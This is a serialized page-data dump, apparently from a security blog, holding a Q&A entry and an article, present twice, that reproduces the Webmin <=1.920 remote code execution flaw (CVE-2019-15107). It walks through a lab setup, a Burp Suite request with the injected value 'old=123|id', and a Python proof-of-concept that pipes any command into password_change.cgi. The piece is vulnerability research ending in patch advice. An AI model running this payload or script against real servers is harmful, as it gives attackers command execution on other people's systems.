[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fUkwqDOwoc33rCUzW90A56h1Uv8KYXT-rYXYsFk84EtE":3},{"id":4,"question":5,"answer":6,"answerHtml":7,"slug":8,"keywords":9,"article":10,"status":34,"aiModel":39,"aiConfidence":39,"updatedAt":51,"createdAt":51,"_status":50},137,"How can an attacker exploit the Webmin RCE vulnerability using Burp Suite?","After setting the password expiry policy to prompt for new passwords and creating a user with 'Force change at next login', the attacker logs in and captures the password change POST request in Burp Suite. The attacker then modifies the 'old' parameter (e.g., old=123|id) to inject commands, which are executed by the server. The response includes the command output, confirming RCE. This process is demonstrated in the [Webmin\u003C=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) article.","\u003Cp>After setting the password expiry policy to prompt for new passwords and creating a user with &#39;Force change at next login&#39;, the attacker logs in and captures the password change POST request in Burp Suite. The attacker then modifies the &#39;old&#39; parameter (e.g., old=123|id) to inject commands, which are executed by the server. The response includes the command output, confirming RCE. This process is demonstrated in the [Webmin&lt;=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test](\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test) article.\u003C\u002Fp>\u003Cp>\u003Ca href=\"\u002Fnews\u002Fwebmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test\">Read the related One Day Sec article\u003C\u002Fa>\u003C\u002Fp>","how-can-an-attacker-exploit-the-webmin-rce-vulnerability-using-burp-suite-1777485107206","Burp Suite, command injection, password change, exploitation",{"id":11,"title":12,"slug":13,"description":14,"content":15,"contentHtml":30,"cover":31,"author":32,"views":19,"readingTime":33,"status":34,"publishedAt":35,"seo":36,"tags":41,"qaPairs":42,"meta":47,"updatedAt":48,"createdAt":49,"_status":50},37,"Webmin\u003C=1.920-Unauthenticated_RCE(CVE-2019-15107) Exploitation Test","webmin-1-920-unauthenticated-rce-cve-2019-15107-exploitation-test","Test Webmin \u003C=1.920 RCE vulnerability (CVE-2019-15107). Learn to reproduce with Burp Suite, write Python POC, and secure your system.",{"root":16},{"type":17,"format":18,"indent":19,"version":20,"children":21,"direction":29},"root","",0,1,[22],{"type":23,"format":18,"indent":19,"version":20,"children":24,"direction":29},"paragraph",[25],{"mode":26,"text":27,"type":28,"style":18,"detail":19,"format":19,"version":20},"normal","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fpentest.com.tr\u002Fexploits\u002FDEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\u003C\u002Fp>\u003Cp>I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Overview\u003C\u002Fli>\u003Cli>Setting Up a Test Environment\u003C\u002Fli>\u003Cli>Reproducing the Vulnerability with Burp Suite\u003C\u002Fli>\u003Cli>Writing a POC in Python\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.\u003C\u002Fp>\u003Cp>Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.\u003C\u002Fp>\u003Ch2>0x03 Setting up the test environment and reproducing the vulnerability\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Centos7 x64\u003C\u002Fp>\u003Cp>IP: 192.168.112.181\u003C\u002Fp>\u003Ch3>1. Install perl and dependency libraries\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>yum -y install perl\u003Cbr>yum -y install perl-Net-SSLeay\u003Cbr>yum -y install perl-Encode-Detect\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Download and install the vulnerable Webadmin (1.920)\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wget https:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fwebadmin\u002Ffiles\u002Fwebmin\u002F1.920\u002Fwebmin-1.920-1.noarch.rpm\u003Cbr>rpm -U webmin-1.920-1.noarch.rpm\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After successful installation, Webadmin enables SSL by default.\u003C\u002Fp>\u003Ch3>3. Configure the firewall to open port 10000, enabling remote access\u003C\u002Fh3>\u003Cp>Add port 10000:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --zone=public --add-port=10000\u002Ftcp --permanent\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Restart firewall:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --reload\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Check if the port is open:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --query-port=10000\u002Ftcp\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Remote login\u003C\u002Fh3>\u003Cp>https:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Cp>Login page as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019799399_0_b2dcfb862b.jpeg\">\u003C\u002Fp>\u003Cp>Log in using CentOS root user password\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For testing convenience, you can first disable SSL function at: Webmin Configuration -&gt; SSL Encryption\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019812466_1_4b7d3022a6.jpeg\">\u003C\u002Fp>\u003Cp>The new login page is http:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Ch3>5. Modify Password expiry policy\u003C\u002Fh3>\u003Cp>Location: Webmin Configuration -&gt; Authentication\u003C\u002Fp>\u003Cp>Default is Always deny users with expired passwords\u003C\u002Fp>\u003Cp>Change to Prompt users with expired passwords to enter a new one\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019823816_2_a4279418d4.jpeg\">\u003C\u002Fp>\u003Ch3>6. Add a new user\u003C\u002Fh3>\u003Cp>Location: Webmin Users\u003C\u002Fp>\u003Cp>After successfully adding the user, modify the Password option and add Force change at next login\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019834834_3_4409775bb3.jpeg\">\u003C\u002Fp>\u003Ch3>7. Log in with the new user\u003C\u002Fh3>\u003Cp>Prompt to change password\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019856480_4_37ff06cfa7.jpeg\">\u003C\u002Fp>\u003Ch3>8. Start Burp Suite to capture packets\u003C\u002Fh3>\u003Cp>Enter any old password and new password\u003C\u002Fp>\u003Cp>Burp Suite packet capture is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019864898_5_3a0ba54d2b.jpeg\">\u003C\u002Fp>\u003Cp>Normal return result is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019868419_6_e55f69c33e.jpeg\">\u003C\u002Fp>\u003Ch3>9. Modify POST packet, add Payload\u003C\u002Fh3>\u003Cp>Repeat step 8 and modify the POST packet\u003C\u002Fp>\u003Cp>Original data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123|id&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019872372_7_fdb5971bef.jpeg\">\u003C\u002Fp>\u003Cp>The new result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019876886_8_4ae28aa3d1.jpeg\">\u003C\u002Fp>\u003Cp>Executed the command (id) and output the result\u003C\u002Fp>\u003Ch2>0x04 Writing a POC using Python\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite\u003C\u002Fp>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch3>1. Using Python's requests to send a POST packet\u003C\u002Fh3>\u003Cp>The format of the POST packet is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019880915_9_1919560ee0.jpeg\">\u003C\u002Fp>\u003Cp>The corresponding Python code using requests to send a POST packet is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>def test_post_http(ip,command):\u003Cbr>    try:\u003Cbr>        url = 'http:\u002F\u002F' + ip + ':10000\u002Fpassword_change.cgi'\u003Cbr>        headers = {\u003Cbr>            'User-Agent': 'Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0',\u003Cbr>            'Accept': 'text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,*\u002F*;q=0.8',\u003Cbr>            'Accept-Language': 'en-US,en;q=0.5',\u003Cbr>            'Accept-Encoding': \"gzip, deflate\",\u003Cbr>            'Referer': 'http:\u002F\u002F' + ip + ':10000\u002Fsession_login.cgi',\u003Cbr>            'Cookie': 'redirect=1; testing=1; sid=x',\u003Cbr>            'Connection': 'close',\u003Cbr>            'Upgrade-Insecure-Requests': '1',\u003Cbr>            'Content-Type': 'application\u002Fx-www-form-urlencoded',\u003Cbr>            'Content-Length': '47'\u003Cbr>        } \u003Cbr>        payload = 'user=a&amp;pam=&amp;expired=2&amp;old=test|' + command + '&amp;new1=test1&amp;new2=test1'\u003Cbr>        r = requests.post(url, data=payload, headers = headers)\u003Cbr>    \tprint r.text\u003Cbr>    except Exception as e:\u003Cbr>            print '[!]Error:%s'%e\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Add identification for results\u003C\u002Fh3>\u003Cp>If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Perl execution failed\u003C\u002Fh1>\u003Cbr>\u003Cp>Password changing is not enabled! at \u002Fusr\u002Flibexec\u002Fwebmin\u002Fpassword_change.cgi line 12.\u003Cbr>\u003C\u002Fp>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin uses https, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Document follows\u003C\u002Fh1>\u003Cbr>\u003Cpre>This web server is running in SSL mode. Try the URL \u003Ca href=\"https:\u002F\u002Fwebmin-node-reddis:10000\u002F\">https:\u002F\u002Fwebmin-node-reddis:10000\u002F\u003C\u002Fa> instead.\u003Cbr>\u003C\u002Fpre>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Chr>\u003Cbr>\u003Ccenter>\u003Ch3>Failed to change password : The current password is incorrect\u003C\u002Fh3>\u003C\u002Fcenter>\u003Cbr>\u003Chr>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. Add support for HTTPS\u003C\u002Fh3>\u003Cp>If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again\u003C\u002Fp>\u003Cp>Additionally, certificate verification needs to be disabled\u003C\u002Fp>\u003Cp>Original code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers, verify = False)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To suppress SSL warnings from certificate verification, add the code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Otherwise, it will display:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Python27\\lib\\site-packages\\urllib3-1.25.3-py2.7.egg\\urllib3\\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps:\u002F\u002Furllib3.readthedocs.io\u002Fen\u002Flatest\u002Fadvanced-usage.html#ssl-warnings  InsecureRequestWarning)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The complete test code has been open-sourced, available at:\u003C\u002Fp>\u003Cp>An Open Source Project).py\u003C\u002Fp>\u003Ch2>0x05 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>1. Upgrade to 1.930\u003C\u002Fp>\u003Cp>2. Password expiry policy uses default settings\u003C\u002Fp>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article tests the remote code execution in Webmin&lt;=1.920, records the process, writes a POC in Python based on the vulnerability principle, and provides defense recommendations\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>On August 10, 2019, Ozkan(@ehakkus) disclosed a 0-day at DEFCON AppSec Village. Webmin versions below 1.930 contain a remote code execution vulnerability. The article address is as follows:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fpentest.com.tr\u002Fexploits\u002FDEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\u003C\u002Fp>\u003Cp>I conducted follow-up research on this vulnerability. This article will document the testing process, develop a Python POC based on the vulnerability principle, and provide defense recommendations.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Vulnerability Overview\u003C\u002Fli>\u003Cli>Setting Up a Test Environment\u003C\u002Fli>\u003Cli>Reproducing the Vulnerability with Burp Suite\u003C\u002Fli>\u003Cli>Writing a POC in Python\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Vulnerability Overview\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Webmin is a web-based Unix system management tool, simply put: it allows remote management of Unix system hosts via a browser.\u003C\u002Fp>\u003Cp>Versions of Webmin below 1.930 have a remote code execution vulnerability. When Webmin's Password expiry policy is set to 'Prompt users with expired passwords to enter a new one' (the default setting is 'Always deny users with expired passwords'), remote code execution can be achieved by constructing a specially formatted POST packet.\u003C\u002Fp>\u003Ch2>0x03 Setting up the test environment and reproducing the vulnerability\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Centos7 x64\u003C\u002Fp>\u003Cp>IP: 192.168.112.181\u003C\u002Fp>\u003Ch3>1. Install perl and dependency libraries\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>yum -y install perl\u003Cbr>yum -y install perl-Net-SSLeay\u003Cbr>yum -y install perl-Encode-Detect\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Download and install the vulnerable Webadmin (1.920)\u003C\u002Fh3>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>wget https:\u002F\u002Fsourceforge.net\u002Fprojects\u002Fwebadmin\u002Ffiles\u002Fwebmin\u002F1.920\u002Fwebmin-1.920-1.noarch.rpm\u003Cbr>rpm -U webmin-1.920-1.noarch.rpm\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After successful installation, Webadmin enables SSL by default.\u003C\u002Fp>\u003Ch3>3. Configure the firewall to open port 10000, enabling remote access\u003C\u002Fh3>\u003Cp>Add port 10000:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --zone=public --add-port=10000\u002Ftcp --permanent\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Restart firewall:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --reload\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Check if the port is open:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>firewall-cmd --query-port=10000\u002Ftcp\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>4. Remote login\u003C\u002Fh3>\u003Cp>https:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Cp>Login page as shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019799399_0_b2dcfb862b-1.jpeg\">\u003C\u002Fp>\u003Cp>Log in using CentOS root user password\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For testing convenience, you can first disable SSL function at: Webmin Configuration -&gt; SSL Encryption\u003C\u002Fp>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019812466_1_4b7d3022a6-1.jpeg\">\u003C\u002Fp>\u003Cp>The new login page is http:\u002F\u002F192.168.112.181:10000\u003C\u002Fp>\u003Ch3>5. Modify Password expiry policy\u003C\u002Fh3>\u003Cp>Location: Webmin Configuration -&gt; Authentication\u003C\u002Fp>\u003Cp>Default is Always deny users with expired passwords\u003C\u002Fp>\u003Cp>Change to Prompt users with expired passwords to enter a new one\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019823816_2_a4279418d4-1.jpeg\">\u003C\u002Fp>\u003Ch3>6. Add a new user\u003C\u002Fh3>\u003Cp>Location: Webmin Users\u003C\u002Fp>\u003Cp>After successfully adding the user, modify the Password option and add Force change at next login\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019834834_3_4409775bb3-1.jpeg\">\u003C\u002Fp>\u003Ch3>7. Log in with the new user\u003C\u002Fh3>\u003Cp>Prompt to change password\u003C\u002Fp>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019856480_4_37ff06cfa7-1.jpeg\">\u003C\u002Fp>\u003Ch3>8. Start Burp Suite to capture packets\u003C\u002Fh3>\u003Cp>Enter any old password and new password\u003C\u002Fp>\u003Cp>Burp Suite packet capture is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019864898_5_3a0ba54d2b-1.jpeg\">\u003C\u002Fp>\u003Cp>Normal return result is shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019868419_6_e55f69c33e-1.jpeg\">\u003C\u002Fp>\u003Ch3>9. Modify POST packet, add Payload\u003C\u002Fh3>\u003Cp>Repeat step 8 and modify the POST packet\u003C\u002Fp>\u003Cp>Original data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New data:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>user=a&amp;pam=&amp;expired=2&amp;old=123|id&amp;new1=456&amp;new2=456\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019872372_7_fdb5971bef-1.jpeg\">\u003C\u002Fp>\u003Cp>The new result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019876886_8_4ae28aa3d1-1.jpeg\">\u003C\u002Fp>\u003Cp>Executed the command (id) and output the result\u003C\u002Fp>\u003Ch2>0x04 Writing a POC using Python\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Ozkan (@ehakkus) used Ruby to write a POC in his article; here, we rewrite a POC in Python based on the packet capture from Burp Suite\u003C\u002Fp>\u003Cp>The following issues need to be considered:\u003C\u002Fp>\u003Ch3>1. Using Python's requests to send a POST packet\u003C\u002Fh3>\u003Cp>The format of the POST packet is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019880915_9_1919560ee0-1.jpeg\">\u003C\u002Fp>\u003Cp>The corresponding Python code using requests to send a POST packet is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import requests\u003Cbr>def test_post_http(ip,command):\u003Cbr>    try:\u003Cbr>        url = 'http:\u002F\u002F' + ip + ':10000\u002Fpassword_change.cgi'\u003Cbr>        headers = {\u003Cbr>            'User-Agent': 'Mozilla\u002F5.0 (X11; Linux x86_64; rv:52.0) Gecko\u002F20100101 Firefox\u002F52.0',\u003Cbr>            'Accept': 'text\u002Fhtml,application\u002Fxhtml+xml,application\u002Fxml;q=0.9,*\u002F*;q=0.8',\u003Cbr>            'Accept-Language': 'en-US,en;q=0.5',\u003Cbr>            'Accept-Encoding': \"gzip, deflate\",\u003Cbr>            'Referer': 'http:\u002F\u002F' + ip + ':10000\u002Fsession_login.cgi',\u003Cbr>            'Cookie': 'redirect=1; testing=1; sid=x',\u003Cbr>            'Connection': 'close',\u003Cbr>            'Upgrade-Insecure-Requests': '1',\u003Cbr>            'Content-Type': 'application\u002Fx-www-form-urlencoded',\u003Cbr>            'Content-Length': '47'\u003Cbr>        } \u003Cbr>        payload = 'user=a&amp;pam=&amp;expired=2&amp;old=test|' + command + '&amp;new1=test1&amp;new2=test1'\u003Cbr>        r = requests.post(url, data=payload, headers = headers)\u003Cbr>    \tprint r.text\u003Cbr>    except Exception as e:\u003Cbr>            print '[!]Error:%s'%e\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Add identification for results\u003C\u002Fh3>\u003Cp>If Webmin does not have 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Perl execution failed\u003C\u002Fh1>\u003Cbr>\u003Cp>Password changing is not enabled! at \u002Fusr\u002Flibexec\u002Fwebmin\u002Fpassword_change.cgi line 12.\u003Cbr>\u003C\u002Fp>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin uses https, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Ch1>Error - Document follows\u003C\u002Fh1>\u003Cbr>\u003Cpre>This web server is running in SSL mode. Try the URL \u003Ca href=\"https:\u002F\u002Fwebmin-node-reddis:10000\u002F\">https:\u002F\u002Fwebmin-node-reddis:10000\u002F\u003C\u002Fa> instead.\u003Cbr>\u003C\u002Fpre>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>If Webmin has 'Prompt users with expired passwords to enter a new one' enabled, the result is:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u003C\u002Fp>\u003Chr>\u003Cbr>\u003Ccenter>\u003Ch3>Failed to change password : The current password is incorrect\u003C\u002Fh3>\u003C\u002Fcenter>\u003Cbr>\u003Chr>\u003Cp>\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>3. Add support for HTTPS\u003C\u002Fh3>\u003Cp>If the result is 'This web server is running in SSL mode.', then switch to HTTPS and test again\u003C\u002Fp>\u003Cp>Additionally, certificate verification needs to be disabled\u003C\u002Fp>\u003Cp>Original code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>New code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>r = requests.post(url, data=payload, headers = headers, verify = False)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>To suppress SSL warnings from certificate verification, add the code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Otherwise, it will display:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>C:\\Python27\\lib\\site-packages\\urllib3-1.25.3-py2.7.egg\\urllib3\\connectionpool.py:851: InsecureRequestWarning: Unverified HTTPS request is being made. Adding certificate verification is strongly advised. See: ttps:\u002F\u002Furllib3.readthedocs.io\u002Fen\u002Flatest\u002Fadvanced-usage.html#ssl-warnings  